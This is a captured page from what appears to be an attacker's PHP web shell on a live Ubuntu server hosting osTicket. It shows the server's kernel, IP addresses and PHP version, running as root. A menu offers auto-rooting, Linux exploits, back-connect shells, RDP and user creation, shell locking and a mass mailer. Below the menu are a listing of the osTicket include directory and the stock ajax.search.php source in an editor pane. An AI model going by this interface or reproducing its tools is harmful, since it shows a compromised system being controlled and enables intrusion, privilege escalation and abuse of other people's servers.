Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ajax.search.php
<?php /********************************************************************* ajax.search.php AJAX interface for searches, queue management, etc. Jared Hancock <jared@osticket.com> Peter Rotich <peter@osticket.com> Copyright (c) 2006-2014 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ if(!defined('INCLUDE_DIR')) die('403'); include_once(INCLUDE_DIR.'class.ticket.php'); require_once(INCLUDE_DIR.'class.ajax.php'); class SearchAjaxAPI extends AjaxController { function getAdvancedSearchDialog($key=false, $context='advsearch') { global $thisstaff; if (!$thisstaff) Http::response(403, 'Agent login required'); $search = new AdhocSearch(array( 'root' => 'T', 'staff_id' => $thisstaff->getId(), 'parent_id' => @$_GET['parent_id'] ?: 0, )); if ($search->parent_id) { $search->flags |= SavedSearch::FLAG_INHERIT_COLUMNS; } if (isset($_SESSION[$context]) && $key && $_SESSION[$context][$key]) $search->config = $_SESSION[$context][$key]; $this->_tryAgain($search); } function editSearch($id) { global $thisstaff; $search = SavedSearch::lookup($id); if (!$thisstaff) Http::response(403, 'Agent login is required'); elseif (!$search || !$search->checkAccess($thisstaff)) Http::response(404, 'No such saved search'); $this->_tryAgain($search); } function addField($name) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Agent login required'); $search = new SavedSearch(array( 'root'=>'T' )); $searchable = $search->getSupportedMatches(); if (!($F = $searchable[$name])) Http::response(404, 'No such field: ', print_r($name, true)); $fields = SavedSearch::getSearchField($F, $name); $form = new AdvancedSearchForm($fields); // Check the box to search the field by default if ($F = $form->getField("{$name}+search")) $F->value = true; ob_start(); include STAFFINC_DIR . 'templates/advanced-search-field.tmpl.php'; $html = ob_get_clean(); return $this->encode(array( 'success' => true, 'html' => $html, )); } function doSearch() { global $thisstaff; if (!$thisstaff) Http::response(403, 'Agent login is required'); $search = new AdhocSearch(array( 'root' => 'T', 'staff_id' => $thisstaff->getId())); $form = $search->getForm($_POST); if (false === $this->_setupSearch($search, $form)) { return; } Http::response(200, $this->encode(array( 'redirect' => 'tickets.php?queue=adhoc', ))); } function _hasErrors(SavedSearch $search, $form) { if (!$form->isValid()) { $this->_tryAgain($search, $form); return true; } } function _setupSearch(SavedSearch $search, $form, $key='advsearch') { if ($this->_hasErrors($search, $form)) return false; if ($key) { $keep = array(); // Add in new search to the list of recent searches $criteria = $search->isolateCriteria($form->getClean()); $token = $this->_hashCriteria($criteria); $keep[$token] = $criteria; // Keep the last 5 recent searches looking from the beginning of // the recent search list if (isset($_SESSION[$key])) { reset($_SESSION[$key]); while (count($keep) < 5) { list($k, $v) = each($_SESSION[$key]); if (!$k) break; $keep[$k] = $v; } } $_SESSION[$key] = $keep; } } function _hashCriteria($criteria, $size=10) { $parts = array(); foreach ($criteria as $C) { list($name, $method, $value) = $C; if (is_array($value)) $value = implode('+', $value); $parts[] = "{$name} {$method} {$value}"; } $hash = sha1(implode(' ', $parts), true); return substr( str_replace(array('+','/','='), '', base64_encode($hash)), -$size); } function _tryAgain($search, $form=null, $errors=array(), $info=array()) { if (!$form) $form = $search->getForm(); include STAFFINC_DIR . 'templates/advanced-search.tmpl.php'; } function createSearch() { global $thisstaff; if (!$thisstaff) Http::response(403, 'Agent login is required'); $search = SavedSearch::create(array( 'title' => __('Add Queue'), 'root' => 'T', 'staff_id' => $thisstaff->getId(), 'parent_id' => $_GET['pid'], )); $this->_tryAgain($search); } function saveSearch($id=0) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Agent login is required'); if ($id) { // update if (!($search = SavedSearch::lookup($id)) || !$search->checkAccess($thisstaff)) Http::response(404, 'No such saved search'); } else { // new search $search = SavedSearch::create(array( 'root' => 'T', 'staff_id' => $thisstaff->getId() )); } if (false === $this->_saveSearch($search)) return; $info = array( 'msg' => sprintf('%s %s %s', __('Search'), $id ? __('updated') : __('created'), __('successfully')), ); $this->_tryAgain($search, null, null, $info); } function _saveSearch(SavedSearch $search) { // Validate the form. $form = $search->getForm($_POST); if ($this->_hasErrors($search, $form)) return false; $errors = array(); if (!$search->update($_POST, $errors) || !$search->save(true)) { $form->addError(sprintf( __('Unable to update %s. Correct error(s) below and try again.'), __('queue'))); $this->_tryAgain($search, $form, $errors); return false; } if (false === $this->_setupSearch($search, $form)) { return false; } return true; } function editColumn($column_id) { global $thisstaff; if (!$thisstaff) { Http::response(403, 'Agent login is required'); } elseif (!($column = QueueColumn::lookup($column_id))) { Http::response(404, 'No such queue'); } if ($_POST) { $data_form = $column->getDataConfigForm($_POST); if ($data_form->isValid()) { $column->update($_POST, 'Ticket'); if ($column->save()) Http::response(201, 'Successfully updated'); } } $root = 'Ticket'; include STAFFINC_DIR . 'templates/queue-column-edit.tmpl.php'; } function editSort($sort_id) { global $thisstaff; if (!$thisstaff) { Http::response(403, 'Agent login is required'); } elseif (!($sort = QueueSort::lookup($sort_id))) { Http::response(404, 'No such queue sort'); } $data_form = $sort->getDataConfigForm($_POST ?: false); if ($_POST) { if ($data_form->isValid()) { $sort->update($data_form->getClean() + $_POST); if ($sort->save()) Http::response(201, 'Successfully updated'); } } include STAFFINC_DIR . 'templates/queue-sorting-edit.tmpl.php'; } function getQueue($id) { global $thisstaff; $queue = SavedSearch::lookup($id); if (!$thisstaff) Http::response(403, 'Agent login is required'); elseif (!$queue || !$queue->checkAccess($thisstaff)) Http::response(404, 'No such queue'); Http::response(200, $this->encode(array( 'name' => $queue->getName(), 'criteria' => nl2br(Format::htmlchars($queue->describeCriteria())), ))); } function deleteQueue($id) { global $thisstaff; if (!$thisstaff) { Http::response(403, 'Agent login is required'); } if ($id && (!($queue = CustomQueue::lookup($id)))) { Http::response(404, 'No such queue'); } if (!$queue || !$queue->checkAccess($thisstaff)) { Http::response(404, 'No such queue'); } if ($_POST) { if (!$queue->delete()) { Http::response(500, 'Unable to delete queue'); } Http::response(201, 'Have a nice day'); $_SESSION['::sysmsgs']['msg'] = sprintf(__( 'Successfully deleted%s.'), $queue->getName()); } $info = array( ':action' => sprintf('#queue/%s/delete', $queue->getId()), ':title' => sprintf('%s %s', __('Please Confirm'), __('Queue Deletion')), 'warn' => __('Deleted Queues cannot be recovered'), ':message' => sprintf('Are you sure you want to delete %s queue?', $queue->getName()), ':confirm' => 'Yes, Delete!' ); include STAFFINC_DIR . 'templates/confirm.tmpl.php'; } function previewQueue($id=false) { global $thisstaff; if (!$thisstaff) { Http::response(403, 'Agent login is required'); } if ($id && (!($queue = CustomQueue::lookup($id)))) { Http::response(404, 'No such queue'); } if (!$queue) { $queue = CustomQueue::create(); } $queue->update($_POST); $form = $queue->getForm($_POST); $tickets = $queue->getQuery($form); $count = 10; // count($queue->getBasicQuery($form)); include STAFFINC_DIR . 'templates/queue-preview.tmpl.php'; } function addCondition() { global $thisstaff; if (!$thisstaff) { Http::response(403, 'Agent login is required'); } elseif (!isset($_GET['field']) || !isset($_GET['id']) || !isset($_GET['object_id']) ) { Http::response(400, '`field`, `id`, and `object_id` parameters required'); } elseif (!is_numeric($_GET['object_id'])) { Http::response(400, '`object_id` should be an integer'); } $fields = SavedSearch::getSearchableFields('Ticket'); if (!isset($fields[$_GET['field']])) { Http::response(400, sprintf('%s: No such searchable field'), Format::htmlchars($_GET['field'])); } list($label, $field) = $fields[$_GET['field']]; // Ensure `name` is preserved $field_name = $_GET['field']; $id = $_GET['id']; $object_id = $_GET['object_id']; $condition = new QueueColumnCondition(array()); include STAFFINC_DIR . 'templates/queue-column-condition.tmpl.php'; } function addConditionProperty() { global $thisstaff; if (!$thisstaff) { Http::response(403, 'Agent login is required'); } elseif (!isset($_GET['prop']) || !isset($_GET['condition'])) { Http::response(400, '`prop` and `condition` parameters required'); } $prop = $_GET['prop']; $id = $_GET['condition']; include STAFFINC_DIR . 'templates/queue-column-condition-prop.tmpl.php'; } function collectQueueCounts($ids=null) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Agent login is required'); $criteria = array(); if ($ids && is_array($ids)) $criteria = array('id__in' => $ids); $counts = SavedQueue::counts($thisstaff, true, $criteria); Http::response(200, false, 'application/json'); return $this->encode(Format::number($counts)); } }
Close